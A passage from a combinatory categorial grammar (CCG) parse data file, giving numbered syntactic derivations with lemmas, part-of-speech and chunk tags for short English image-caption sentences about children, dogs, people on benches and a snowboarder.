t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'area', 'area', 'NN', 'I-NP', 'O')),
lx(np\np, s:adj\np,
fa(s:adj\np,
t((s:adj\np)/pp, 'full', 'full', 'JJ', 'I-ADJP', 'O'),
fa(pp,
t(pp/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O')))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(672,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'small', 'small', 'JJ', 'I-NP', 'O'),
t(n, 'child', 'child', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
lx(np, n,
t(n, 'outdoors', 'outdoors', 'NNS', 'I-NP', 'O')),
lx(np\np, s:ng\np,
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'climbing', 'climb', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'steps', 'step', 'NNS', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'grassy', 'grassy', 'JJ', 'I-NP', 'O'),
t(n, 'area', 'area', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(673,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'little', 'little', 'JJ', 'I-NP', 'O'),
t(n, 'child', 'child', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'pink', 'pink', 'JJ', 'I-NP', 'O'),
t(n, 'sweater', 'sweater', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'climbing', 'climb', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'concrete', 'concrete', 'JJ', 'I-NP', 'O'),
t(n, 'staircase', 'staircase', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(674,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'small', 'small', 'JJ', 'I-NP', 'O'),
t(n, 'child', 'child', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
lx(np, n,
t(n, 'outdoors', 'outdoors', 'NNS', 'I-NP', 'O')),
lx(np\np, s:ng\np,
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'climbing', 'climb', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'steps', 'step', 'NNS', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'grassy', 'grassy', 'JJ', 'I-NP', 'O'),
t(n, 'area', 'area', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(675,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'kid', 'kid', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'orange', 'orange', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/pp, 'outside', 'outside', 'IN', 'I-ADVP', 'O'),
fa(pp,
t(pp/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'snowball', 'snowball', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(676,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'snow', 'snow', 'NN', 'I-NP', 'O'),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'made', 'make', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'child', 'child', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(677,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bench', 'bench', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'front', 'front', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'restaurant', 'restaurant', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(678,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Three', 'three', 'CD', 'I-NP', 'O'),
t(n, 'people', 'people', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bench', 'bench', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'under', 'under', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'some', 'some', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'palm', 'palm', 'NN', 'I-NP', 'O'),
t(n, 'trees', 'tree', 'NNS', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(679,
rp(s:dcl,
ba(s:dcl,
ba(np:nb,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'large', 'large', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'brown', 'brown', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')))),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'small', 'small', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'grey', 'grey', 'NN', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'rocky', 'rocky', 'JJ', 'I-NP', 'O'),
t(n, 'surface', 'surface', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(680,
rp(s:dcl,
ba(s:dcl,
ba(np:nb,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'big', 'big', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'brown', 'brown', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')))),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'small', 'small', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'grey', 'grey', 'NN', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'rocky', 'rocky', 'JJ', 'I-NP', 'O'),
t(n, 'surface', 'surface', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(681,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Three', 'three', 'CD', 'I-NP', 'O'),
t(n, 'boys', 'boy', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'resting', 'rest', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'rocks', 'rock', 'NNS', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'along', 'along', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'river', 'river', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(682,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Three', 'three', 'CD', 'I-NP', 'O'),
t(n, 'boys', 'boy', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'walking', 'walk', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'rocks', 'rock', 'NNS', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'along', 'along', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'river', 'river', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(683,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
lx(np\np, s:pss\np,
ba(s:pss\np,
fa(s:pss\np,
t((s:pss\np)/pp, 'dressed', 'dress', 'VBN', 'I-VP', 'O'),
fa(pp,
t(pp/(s:adj\np), 'in', 'in', 'IN', 'I-PP', 'O'),
t(s:adj\np, 'black', 'black', 'JJ', 'I-NP', 'O'))),
lx((s:pss\np)\(s:pss\np), s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'elaborate', 'elaborate', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'mask', 'mask', 'NN', 'I-NP', 'O'))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(684,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
lx(np\np, s:pss\np,
fa(s:pss\np,
t((s:pss\np)/pp, 'dressed', 'dress', 'VBN', 'I-VP', 'O'),
fa(pp,
t(pp/(s:adj\np), 'in', 'in', 'IN', 'I-PP', 'O'),
t(s:adj\np, 'black', 'black', 'JJ', 'I-ADJP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'elaborate', 'elaborate', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'mask', 'mask', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(685,
rp(s:dcl,
ba(s:dcl,
rp(np,
ba(np,
rp(np,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'children', 'child', 'NNS', 'I-NP', 'O'))),
t(comma, ',', ',', ',', 'O', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'who', 'who', 'WP', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:adj\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t(s:adj\np, 'small', 'small', 'JJ', 'I-ADJP', 'O')))),
t(comma, ',', ',', ',', 'O', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'toy', 'toy', 'NN', 'I-NP', 'O'),
t(n, 'car', 'car', 'NN', 'I-NP', 'O'))))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'street', 'street', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(686,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'father', 'father', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'pushing', 'push', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'his', 'his', 'PRP$', 'I-NP', 'O'),
t(n, 'daughter', 'daughter', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'go-kart', 'go-kart', 'NN', 'I-NP', 'O')))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'another', 'another', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'watching', 'watch', 'VBG', 'I-VP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(687,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'golden', 'golden', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'field', 'field', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'tall', 'tall', 'JJ', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(688,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'brown', 'brown', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
lx(np\np, s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'tall', 'tall', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'green', 'green', 'JJ', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O')))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(689,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
ba(n/n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'))),
t(n, 'uniform', 'uniform', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
ba(n/n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'))),
t(n, 'hat', 'hat', 'NN', 'I-NP', 'O')))))))),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
fa((s:ng\np)/(s:adj\np),
t(((s:ng\np)/(s:adj\np))/np, 'keeping', 'keep', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'her', 'her', 'PRP$', 'I-NP', 'O'),
t(n, 'mouth', 'mouth', 'NN', 'I-NP', 'O'))),
t(s:adj\np, 'open', 'open', 'JJ', 'I-ADJP', 'O'))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'near', 'near', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'others', 'other', 'NNS', 'I-NP', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'who', 'who', 'WP', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:pss\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'dressed', 'dress', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'same', 'same', 'JJ', 'I-NP', 'O'),
t(n, 'fashion', 'fashion', 'NN', 'I-NP', 'O'))))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(690,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
t(n, 'shirt', 'shirt', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
ba(np:nb,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'vest', 'vest', 'NN', 'I-NP', 'O'))),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'cap', 'cap', 'NN', 'I-NP', 'O'))))))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'talking', 'talk', 'VBG', 'I-VP', 'O'),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'I-VP', 'O'),
t(s:ng\np, 'marching', 'march', 'VBG', 'I-VP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(691,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'snowboarder', 'snowboarder', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'doing', 'do', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'flip', 'flip', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'over', 'over', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'mound', 'mound', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'snow', 'snow', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(692,
rp(s:dcl,
ba(s:dcl,
t(np, 'Somebody', 'somebody', 'DT', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'air', 'air', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'board', 'board', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(693,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blonde', 'blonde', 'JJ', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'green', 'green', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'swing', 'swing', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(694,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
ba(s:dcl\np,
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'little', 'little', 'JJ', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'blond', 'blond', 'JJ', 'I-NP', 'O'),
t(n, 'hair', 'hair', 'NN', 'I-NP', 'O')))))),
lx((s:dcl\np)\(s:dcl\np), s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'smiling', 'smile', 'VBG', 'I-VP', 'O'),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
